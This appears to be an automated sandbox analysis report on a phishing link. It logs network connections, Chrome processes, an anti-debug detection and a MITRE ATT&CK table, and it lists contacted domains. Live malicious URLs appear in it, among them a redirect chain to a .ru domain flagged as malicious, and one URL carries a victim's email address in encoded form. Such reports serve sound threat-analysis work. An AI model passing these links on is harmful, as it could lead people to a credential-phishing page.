Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 142.250.186.132:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.131:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.131:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.131:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 109.106.251.60:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 109.106.251.60:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.243.32.90:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.243.32.90:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.112:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.186:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.186:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.186:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.186:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.186:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.186:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.76.211:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 63.140.62.27:443 -> 192.168.2.6:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.240.76.211:443 -> 192.168.2.6:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.73:443 -> 192.168.2.6:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.36.209.50:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.247.243.39:443 -> 192.168.2.6:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.247.243.39:443 -> 192.168.2.6:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.247.243.39:443 -> 192.168.2.6:49892 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir4540_2113253763

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir4540_2113253763

Jump to behavior

Source: classification engine

Classification label: mal88.phis.evad.win@26/294@40/16

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,8418107125570705510,6259423881165415329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,8418107125570705510,6259423881165415329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match

File source: 2.6.d.script.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
https://p00.ajpslwqc.ru/seeNfYk/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
flipkart.d1.sc.omtrdc.net	63.140.62.27	true	false	high
js-agent.newrelic.com	162.247.243.39	true	false	high
sonic.fdp.api.flipkart.com	34.36.209.50	true	false	high
1.rome.api.flipkart.com	103.243.33.5	true	false	high
code.jquery.com	151.101.2.137	true	false	high
1.sonic.fdp.api.flipkart.com	34.36.209.50	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
flipkart.com	103.243.32.90	true	false	high
e127545.h.akamaiedge.net	95.101.182.73	true	false	high
www.google.com	142.250.186.132	true	false	high
www.google.co.zm	216.58.212.131	true	false	high
p00.ajpslwqc.ru	104.21.112.1	true	true	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	34.240.76.211	true	false	high
2.rome.api.flipkart.com	163.53.76.64	true	false	high
e127545.b.akamaiedge.net	95.101.182.112	true	false	high
embalagenspontual.com	109.106.251.60	true	false	unknown
static-assets-web.flixcart.com	unknown	unknown	false	high
rukminim2.flixcart.com	unknown	unknown	false	high
www.flipkart.com	unknown	unknown	false	high
dpm.demdex.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rukminim2.flixcart.com/flap/64/64/image/29327f40e9c4d26b.png?q=100	false		high
https://rukminim2.flixcart.com/image/210/210/xif0q/gown/c/i/j/na-xl-full-sleeve-stitched-kf-lotus-gown-qvazor-na-original-imagqrgy5ehutn3h.jpeg?q=80	false		high
https://js-agent.newrelic.com/session-manager.2a64278a-1.236.0.min.js	false		high
https://js-agent.newrelic.com/metrics-aggregate.3dc53903-1.236.0.min.js	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/Store-9eeae2.svg	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/help-centre-image-c4ace8.svg	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/app.a638f2.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/MultiWidgetpage.e86cf8.js	false		high
https://js-agent.newrelic.com/lazy-feature-loader.2f55ce66-1.236.0.min.js	false		high
https://rukminim2.flixcart.com/image/120/120/kl9rssw0/monitor/y/c/2/proart-display-pa278qv-27-pa278qv-asus-original-imagyfpfyzwgdygs.jpeg?q=80	false		high
https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==	false		high
https://rukminim2.flixcart.com/image/120/120/kkimfm80/tea/z/n/1/premium-pouch-regular-tea-powder-tata-original-imafzuf2mnubzphd.jpeg?q=80	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/profile-52e0dc.svg	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/img/flipkart-plus_8d85f4.png	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/orders-bfe8c4.svg	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/en-js.01385a.js	false		high
https://rukminim2.flixcart.com/image/120/120/kdj4xow0/treadmill/b/g/c/ft098-steel-motorized-ft98-steel-motorized-motorized-fitkit-original-imafuerskytashcz.jpeg?q=80	false		high
https://dpm.demdex.net/id?d_visid_ver=1.5.4&d_rtbd=json&d_ver=2&d_orgid=17EB401053DAF4840A490D4C%40AdobeOrg&d_nsid=0&d_cb=s_c_il%5B0%5D._setMarketingCloudFields	false		high
https://rukminim2.flixcart.com/image/120/120/xif0q/projector/z/h/s/i9-pro-max-10-e03i31-led-projector-egate-original-imah9ehh9zcxzsfa.jpeg?q=80	false		high
https://rukminim2.flixcart.com/image/120/120/l58iaa80/electric-cycle/i/y/f/-original-imagfykthgudy4qz.jpeg?q=80	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/lazyLoadChunk.3eaac2.css	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/img/YoutubeLogo_958b78.svg	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/helpcenter-7d90c0.svg	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/header_cart-eed150.svg	false		high
https://rukminim2.flixcart.com/image/120/120/xif0q/monitor/w/w/y/-original-imagysfv56k2rvzh.jpeg?q=80	false		high
https://rukminim2.flixcart.com/image/120/120/jxz0brk0/stuffed-toy/n/t/s/4-feet-pink-very-beautiful-best-quality-for-special-gift-125-13-original-imafgv92puzkdytg.jpeg?q=80	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/commonLazyLoadChunk.31a7ba.js	false		high
https://js-agent.newrelic.com/860.03a8b7a5-1.236.0.min.js	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/js/atlas.chunk.09543806.js	false		high
https://rukminim2.flixcart.com/flap/64/64/image/71050627a56b4693.png?q=100	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/BaseActionNonCritical.bce00a.js	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/css/atlas.chunk.8dd48d.css	false		high
https://www.flipkart.com/sw.js?k=9c638e74afe9c62545dfa073f9d27c29	false		high
https://rukminim2.flixcart.com/image/120/120/jwzabgw0/book/6/0/5/malhaar-sangram-sindhu-gatha-part-2-original-imafhjzeesk24ez4.jpeg?q=80	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/fonts/Inter-SemiBold.woff2	false		high
https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/10e15f15b32bcddc.jpg?q=20	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/js/app_modules.chunk.03cbad70.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/InstagramLogo-43f906.svg	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/notificationPreferences-cfffaf.svg	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/css/app.chunk.e4e719.css	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/OVHomePageTS.c0cbe8.css	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/OmnitureLazyChunk.c96e53.js	false		high
https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/CrossCommon.3d2145.css	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/DesktopComponents.8993be.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/OVHomePageTS.4c8b68.js	false		high
https://js-agent.newrelic.com/async-api.30bd804e-1.236.0.min.js	false		high
https://rukminim2.flixcart.com/image/120/120/xif0q/monitor/q/6/9/-original-imah8pwhvz2tzucv.jpeg?q=80	false		high
https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/173cacfaf069fe7d.png?q=80	false		high
https://rukminim2.flixcart.com/www/1070/770/promos/26/09/2023/ed27f892-1bc6-462f-805b-953f5add4f6a.jpg?q=80	false		high
https://static-assets-web.flixcart.com/www/linchpin/batman-returns/images/fk-default-image-75ff340b.png?q=90	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/MultiWidgetpage.67bb4d.css	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/img/payment-method_69e7ec.svg	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/CrossCommon.ab76eb.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/DesktopComponents.fbd6d4.css	false		high
https://rukminim2.flixcart.com/fk-p-flap/64/64/image/05d708653beff580.png?q=100	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/omniv31-1.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/lazyLoadChunk.a32f43.js	false		high
https://rukminim2.flixcart.com/image/120/120/l58iaa80/headphone/k/z/m/nord-buds-ce-oneplus-original-imagfyk4hyvgg6ze.jpeg?q=80	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/giftCard-bd87e1.svg	false		high
https://flipkart.d1.sc.omtrdc.net/id?d_visid_ver=1.5.4&callback=s_c_il%5B0%5D._setAnalyticsFields&mcorgid=17EB401053DAF4840A490D4C%40AdobeOrg&mid=78223614986632673947838416992384023197	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/header_3verticalDots-ea7819.svg	false		high
https://rukminim2.flixcart.com/image/210/210/xif0q/sari/h/w/s/free-simran-barfi-sky-blue-yellow-4-kothari-sbt-unstitched-original-imahfmszytgyarrm.jpeg?q=80	false		high
https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/8921fc73c192a29f.jpg?q=80	false		high
https://sonic.fdp.api.flipkart.com/4/data/collector/business	false		high
https://rukminim2.flixcart.com/image/210/210/xif0q/nut-dry-fruit/p/4/e/1-mix-dry-fruits-panchmeva-almonds-cashews-raisins-dry-dates-original-imah4svqwauxrgbf.jpeg?q=80	false		high
https://rukminim2.flixcart.com/flap/64/64/image/22fddf3c7da4c4f4.png?q=100	false		high
https://p00.ajpslwqc.ru/seeNfYk/	true	Avira URL Cloud: safe	unknown
https://js-agent.newrelic.com/jserrors-aggregate.49e41428-1.236.0.min.js	false		high
https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/173cacfaf069fe7d.png?q=20	false		high
https://js-agent.newrelic.com/148.1a20d5fe-1.236.0.min.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/advertise-298691.svg	false		high
https://1.sonic.fdp.api.flipkart.com/4/data/collector/business	false		high
https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/10e15f15b32bcddc.jpg?q=80	false		high
https://js-agent.newrelic.com/page_view_timing-aggregate.bd6de33a-1.236.0.min.js	false		high
https://dpm.demdex.net/id?d_visid_ver=1.5.4&d_rtbd=json&d_ver=2&d_orgid=17EB401053DAF4840A490D4C%40AdobeOrg&d_nsid=0&d_mid=78223614986632673947838416992384023197&d_cb=s_c_il%5B0%5D._setAudienceManagerFields	false		high
https://www.flipkart.com/	false		high
https://rukminim2.flixcart.com/image/120/120/ko8xtow0/monitor/t/a/y/d24-20-66aekac1in-lenovo-original-imag2qwzazcdmqtb.jpeg?q=80	false		high
https://rukminim2.flixcart.com/fk-p-flap/530/810/image/ec9bba198c534edb.jpg?q=80	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/css/Login.chunk.c825ad.css	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/js/app_common.chunk.b1760dd3.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/fonts/Inter-Regular.woff2	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/rewards-fbd212.svg	false		high
